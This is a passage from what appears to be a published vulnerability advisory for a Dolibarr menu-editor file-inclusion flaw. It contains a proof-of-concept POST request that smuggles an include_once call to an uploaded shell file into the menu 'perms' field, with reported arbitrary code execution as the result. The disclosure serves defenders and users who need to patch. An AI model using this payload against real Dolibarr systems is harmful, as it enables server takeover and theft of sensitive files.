Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0\u0026action=create\u0026menu_handler=all\u0026backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\ntoken=e71337659d7cbae16b0279b4e04535aa\u0026menu_handler=all\u0026user=2\u0026type=left\u0026propertymainmenu=whaoamia\u0026menuIdParent=123\u0026titre=whaoamia\u0026picto=whaoamia\u0026url=whaoamia\u0026langs=\u0026position=100\u0026enabled=1\u0026perms=include_once('/var/www/html/documents/users/1/shell')\u0026target=\u0026save=Save\n```\n\n(4) Finally, when we access the Menu we just created, we can find that the \"/var/www/html/documents/users/1/shell\" file is included:\n\n![image-20240228231800914](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228231800914.png)\n\nFinally, arbitrary code execution was successfully achieved:\n\n![image-20240228231703417](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228231703417.png)\n\n![image-20240228232116013](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228232116013.png)\n\n# Impact\n\nThis vulnerability can run arbitrary commands in the file system and read sensitive files.\n\n# Say it at the end\n\nIf you confirm the vulnerability, please apply for a CVE to notify all users to update.","status":"published","published":"2025-07-21T19:29:09Z","modified":"2025-12-18T01:46:13.773252Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-98"],"updated_at":"2026-11-02T15:46:36.782754Z"}]}}